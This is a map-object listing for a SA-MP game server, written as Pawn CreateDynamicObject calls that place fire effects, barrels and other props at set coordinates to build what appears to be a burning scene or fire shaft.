	CreateDynamicObject(18691, -6465.58594, -1355.17566, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6466.71191, -1359.09399, 900.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6464.12354, -1380.67188, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.18994, -1379.37207, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.62061, -1411.35095, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6462.26514, -1429.59119, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.42285, -1438.96069, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.38672, -1469.76135, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.39453, -1467.96069, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.69092, -1470.71765, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.80029, -1468.54602, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.89795, -1471.36829, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.42529, -1474.79114, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6451.55811, -1474.59668, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6457.49854, -1475.14746, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.23047, -1476.90381, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.21387, -1479.22571, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6460.71338, -1284.05627, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6465.55518, -1278.98218, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6457.86572, -1275.11328, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6462.33105, -1295.80029, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6461.69727, -1306.40723, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6461.10449, -1317.94214, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.87988, -1342.75183, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.50928, -1344.47229, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.02881, -1355.09595, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6457.56641, -1380.61072, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.08057, -1407.28906, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6455.48584, -1419.45251, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.27393, -1435.41211, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.52100, -1459.73474, 899.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6460.90723, -1400.42859, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6464.02100, -1386.72900, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6455.22266, -1384.95154, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6459.53320, -1412.94653, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6459.23291, -1435.82263, 901.80023,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6451.60352, -1375.64404, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6464.44922, -1376.29102, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6465.14355, -1356.31494, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6457.64160, -1354.19922, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6454.18555, -1335.84534, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6465.27637, -1329.00659, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6455.77002, -1305.31165, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6463.48145, -1306.34326, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6461.88037, -1331.66455, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.37402, -1309.96265, 899.37146,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6464.14795, -1318.22888, 899.36670,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6467.37451, -1322.42322, 899.51428,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.46826, -1324.47693, 899.51178,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6465.12061, -1277.81860, 899.59973,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6457.77734, -1270.42358, 899.59644,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6468.27979, -1269.88806, 899.59601,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6467.46973, -1279.62610, 899.60065,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6462.52148, -1279.60034, 899.60059,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.23633, -1285.73743, 899.60236,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6461.90771, -1287.19153, 899.60382,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6465.70020, -1311.42090, 899.37042,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.03711, -1333.84033, 899.52075,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6451.63379, -1352.66675, 899.51025,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6460.91064, -1363.30823, 899.35620,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6462.68555, -1385.95972, 899.49133,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.56641, -1389.07849, 899.34167,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.00146, -1402.24133, 899.48163,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.19189, -1403.55688, 899.37341,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6458.67090, -1413.01160, 899.36682,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.16455, -1410.49878, 899.36859,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.72998, -1421.87842, 899.51166,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.34229, -1424.38208, 899.36078,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6458.15381, -1433.85278, 899.35675,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6460.32422, -1449.26257, 899.49762,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6451.64600, -1425.35779, 899.36176,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.50732, -1443.16235, 899.50256,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.91016, -1418.09888, 899.51404,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6461.29102, -1422.94531, 899.51282,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6460.59033, -1445.45203, 899.50061,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.81104, -1458.23242, 899.34399,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.45117, -1461.30481, 899.52527,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6450.64453, -1459.40332, 899.38043,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.05078, -1460.20374, 899.38080,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6455.03271, -1457.97241, 899.37952,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.41895, -1452.46545, 899.52728,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6460.15527, -1449.53064, 899.52496,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6455.84766, -1439.74951, 899.37006,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.53271, -1433.84436, 899.36792,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.83643, -1431.05493, 899.51678,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.39746, -1438.84082, 899.37421,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.30957, -1425.48877, 899.36761,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6461.11377, -1436.78687, 899.52283,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6463.62354, -1408.94214, 899.50665,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6462.95752, -1391.89807, 899.50940,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6462.24951, -1409.43896, 899.52087,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6465.80859, -1375.54651, 899.50153,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6465.59961, -1356.77368, 899.53290,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6466.02881, -1345.87207, 899.52661,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6466.74707, -1329.40796, 899.51697,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6468.35352, -1290.06311, 899.53394,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6470.86133, -1273.27551, 899.55164,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.87695, -1295.80725, 899.52875,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.95313, -1304.66101, 899.52576,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.86426, -1328.94873, 899.51013,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.49658, -1351.61072, 899.49573,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.40723, -1339.91516, 899.51111,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.86133, -1383.86938, 899.48431,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.45898, -1411.21082, 899.46790,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6450.79248, -1393.87378, 899.47839,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.97119, -1416.11182, 899.52448,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6446.79639, -1460.20532, 899.50067,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.16357, -1435.51746, 899.51483,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6451.78711, -1458.47961, 899.36969,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.12598, -1450.63257, 899.37402,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6451.59814, -1448.11646, 899.37531,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.62354, -1440.07996, 899.37500,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.17041, -1434.36475, 899.37610,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6458.32227, -1429.70483, 899.37787,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.08008, -1427.67493, 899.37817,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6457.85889, -1421.21472, 899.37756,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.76318, -1418.56567, 899.37744,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6458.43115, -1412.00525, 899.37836,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.26904, -1413.76367, 899.37781,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.21826, -1403.87964, 899.37537,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.54199, -1397.83789, 899.37274,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6460.17725, -1383.60022, 899.36554,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6455.14453, -1379.32568, 899.36371,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6455.62354, -1373.33569, 899.37000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6460.47705, -1371.85767, 899.36975,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6461.26904, -1354.18213, 899.35840,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6456.51807, -1340.23071, 899.34985,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6463.25684, -1329.85352, 899.34479,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6459.44824, -1312.78125, 899.33264,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6466.17627, -1298.35400, 899.32483,   0.00000, 0.00000, 0.00000);

	CreateDynamicObject(18813, -6453.36230, -1472.05603, 860.29749,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18827, -6450.79590, -1471.30078, 785.70734,   93.00004, -24.00000, -68.88000);
	CreateDynamicObject(18827, -6445.96240, -1469.39441, 686.10950,   93.00004, -24.00000, -68.88000);
	CreateDynamicObject(18691, -6448.56494, -1473.19360, 853.89844,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.00586, -1468.96362, 827.73828,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.69922, -1467.09753, 841.85229,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.59863, -1476.26221, 806.61816,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.32813, -1470.56946, 814.04407,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.68652, -1469.21301, 771.92944,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.38330, -1467.04895, 821.74127,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6450.77393, -1475.65210, 760.91113,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6446.08594, -1473.38660, 780.44684,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6445.29980, -1468.90991, 765.84399,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.64209, -1468.45386, 753.43378,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6452.76807, -1469.64319, 724.37811,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6444.18750, -1465.34753, 702.08490,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6446.78369, -1474.93799, 731.98938,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6440.76953, -1467.80164, 678.78040,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.85303, -1467.78247, 646.52460,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.11133, -1474.86426, 718.86517,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6450.05859, -1476.19031, 782.25922,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6456.35889, -1320.98584, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6468.12842, -1316.21411, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6454.13135, -1314.65076, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6452.01758, -1355.48218, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3007, -6459.37988, -1308.46814, 901.65576,   -67.56001, -0.72000, 0.00000);
	CreateDynamicObject(3007, -6464.50586, -1316.23108, 901.65576,   -67.56001, -0.72000, 0.00000);
	CreateDynamicObject(16410, -6457.01855, -1316.49890, 902.12476,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(16410, -6457.01855, -1316.49890, 902.12476,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(16410, -6451.41895, -1340.09973, 902.72992,   0.00000, 0.00000, -120.11998);
	CreateDynamicObject(12961, -6458.02490, -1355.37598, 901.91595,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(12961, -6455.52588, -1397.40100, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6459.00000, -1375.73425, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6459.53516, -1332.08142, 901.91595,   0.00000, 0.00000, -160.80000);
	CreateDynamicObject(12961, -6454.24854, -1422.90137, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6453.82910, -1441.25684, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6459.53516, -1332.08142, 901.91595,   0.00000, 0.00000, -160.80000);
	CreateDynamicObject(12961, -6461.13281, -1307.80286, 901.91595,   0.00000, 0.00000, -182.15997);
	CreateDynamicObject(12961, -6461.83496, -1290.51123, 901.91595,   0.00000, 0.00000, -182.15997);
	CreateDynamicObject(3092, -6457.61768, -1336.22144, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6460.00146, -1330.26013, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2896, -6461.07129, -1292.42188, 902.00769,   0.00000, 0.00000, -71.21999);
	CreateDynamicObject(2896, -6460.64160, -1315.53748, 902.00769,   0.00000, 0.00000, -106.91998);
	CreateDynamicObject(2896, -6453.51953, -1345.10242, 902.07056,   0.00000, 0.00000, -86.99997);
	CreateDynamicObject(19339, -6466.03467, -1297.14453, 901.80603,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19339, -6455.21924, -1293.39905, 901.80603,   0.00000, 0.00000, -70.98000);
	CreateDynamicObject(3092, -6468.12842, -1316.21411, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6454.13135, -1314.65076, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6452.01758, -1355.48218, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3007, -6459.37988, -1308.46814, 901.65576,   -67.56001, -0.72000, 0.00000);
	CreateDynamicObject(3007, -6464.50586, -1316.23108, 901.65576,   -67.56001, -0.72000, 0.00000);
	CreateDynamicObject(16410, -6457.01855, -1316.49890, 902.12476,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(16410, -6457.01855, -1316.49890, 902.12476,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(16410, -6451.41895, -1340.09973, 902.72992,   0.00000, 0.00000, -120.11998);
	CreateDynamicObject(12961, -6458.02490, -1355.37598, 901.91595,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(12961, -6455.52588, -1397.40100, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6459.00000, -1375.73425, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6459.53516, -1332.08142, 901.91595,   0.00000, 0.00000, -160.80000);
	CreateDynamicObject(12961, -6454.24854, -1422.90137, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6453.82910, -1441.25684, 901.91595,   0.00000, 0.00000, -4.14000);
	CreateDynamicObject(12961, -6459.53516, -1332.08142, 901.91595,   0.00000, 0.00000, -160.80000);
	CreateDynamicObject(12961, -6461.13281, -1307.80286, 901.91595,   0.00000, 0.00000, -182.15997);
	CreateDynamicObject(12961, -6461.83496, -1290.51123, 901.91595,   0.00000, 0.00000, -182.15997);
	CreateDynamicObject(3092, -6457.61768, -1336.22144, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3092, -6460.00146, -1330.26013, 902.00916,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(2896, -6461.07129, -1292.42188, 902.00769,   0.00000, 0.00000, -71.21999);
	CreateDynamicObject(2896, -6460.64160, -1315.53748, 902.00769,   0.00000, 0.00000, -106.91998);
	CreateDynamicObject(2896, -6453.51953, -1345.10242, 902.07056,   0.00000, 0.00000, -86.99997);
	CreateDynamicObject(19339, -6466.03467, -1297.14453, 901.80603,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(19339, -6455.21924, -1293.39905, 901.80603,   0.00000, 0.00000, -70.98000);
	CreateDynamicObject(3086, -6458.09814, -1301.52295, 901.59448,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(11712, -6456.62256, -1303.16589, 902.19659,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(11712, -6460.87939, -1291.65417, 902.40045,   0.00000, 0.00000, 59.52000);
	CreateDynamicObject(11712, -6460.86328, -1293.05908, 902.40045,   0.00000, 0.00000, 59.52000);
	CreateDynamicObject(11712, -6464.93994, -1296.38489, 902.40045,   0.00000, 0.00000, 59.52000);
	CreateDynamicObject(11712, -6466.31250, -1296.46350, 902.40045,   0.00000, 0.00000, 59.52000);
	CreateDynamicObject(11712, -6454.95752, -1293.01807, 902.21716,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(11712, -6455.57568, -1292.59412, 902.21716,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(11712, -6459.51123, -1315.65344, 902.42694,   0.00000, 0.00000, -78.84000);
	CreateDynamicObject(3525, -6455.14160, -1293.43420, 902.59503,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6460.84717, -1292.26343, 902.91327,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6465.39795, -1296.71692, 902.91327,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6459.43945, -1315.49133, 902.87573,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(3525, -6453.41553, -1345.49780, 902.86609,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(11712, -6460.55859, -1334.89844, 902.42694,   0.00000, 0.00000, -78.84000);
	CreateDynamicObject(11712, -6453.64160, -1344.96301, 902.47284,   0.00000, 0.00000, -78.84000);
	CreateDynamicObject(18981, -6444.80518, -1466.87122, 616.18896,   0.00000, -90.00000, 4.00000);
	CreateDynamicObject(18981, -6456.62158, -1467.69751, 627.99316,   0.00000, 0.00000, 3.42000);
	CreateDynamicObject(18981, -6433.32422, -1466.23987, 628.49872,   0.00000, 0.00000, 3.42000);
	CreateDynamicObject(18981, -6444.24219, -1478.27014, 628.26758,   0.00000, 0.00000, -85.92001);
	CreateDynamicObject(18981, -6445.79590, -1455.44470, 628.26758,   0.00000, 0.00000, -85.92001);
	CreateDynamicObject(18691, -6439.25684, -1473.95081, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6443.38281, -1470.99524, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6439.48389, -1467.72058, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6435.98193, -1472.82239, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.72900, -1460.33362, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.29248, -1462.57239, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6454.81104, -1467.06445, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6453.89063, -1475.30664, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6440.27588, -1466.03503, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6441.74658, -1458.47009, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6435.91406, -1457.25073, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6441.33740, -1460.81458, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6441.87451, -1471.80164, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6442.02051, -1466.40527, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6448.19629, -1468.01685, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6442.00635, -1457.27063, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6446.59326, -1458.91638, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6443.99609, -1456.85168, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6445.04541, -1475.50977, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6439.50879, -1475.61060, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6447.49121, -1470.89172, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6441.56543, -1468.48596, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6446.70605, -1466.41162, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.47852, -1462.47803, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6449.50732, -1462.73987, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6451.77686, -1465.75586, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6451.77686, -1465.75586, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18690, -6449.59912, -1457.95264, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18693, -6449.59912, -1457.95264, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18693, -6452.65381, -1466.04016, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6452.65381, -1466.04016, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6452.69434, -1458.71399, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6433.92773, -1476.22412, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6436.52344, -1468.36035, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6437.78711, -1462.75562, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6445.10156, -1465.53223, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6449.91309, -1466.60535, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6445.26172, -1462.08813, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6434.95996, -1470.19263, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6435.37402, -1462.63574, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6439.75928, -1465.72510, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18691, -6440.76270, -1463.70288, 615.00000,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6445.03809, -1466.37708, 616.68573,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6447.74756, -1460.57532, 616.68695,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6453.22705, -1469.47131, 616.68365,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6439.52832, -1475.83459, 616.68219,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6433.88037, -1465.37012, 623.76624,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6443.95801, -1477.74219, 624.95953,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6449.19727, -1478.11572, 621.27832,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6433.18799, -1476.70825, 620.10834,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6455.93164, -1470.74744, 625.54382,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6456.20654, -1466.10168, 620.68628,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6455.77344, -1473.30310, 618.80939,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6456.41406, -1462.63000, 619.23596,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6456.38623, -1463.12830, 623.97119,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6452.44092, -1456.43787, 621.60950,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6450.03711, -1456.26575, 621.24487,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6453.66504, -1456.52368, 625.34546,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6445.05029, -1455.90479, 621.01550,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6446.76807, -1456.02673, 625.99133,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(18694, -6440.58789, -1455.58655, 621.13867,   0.00000, 0.00000, 0.00000);
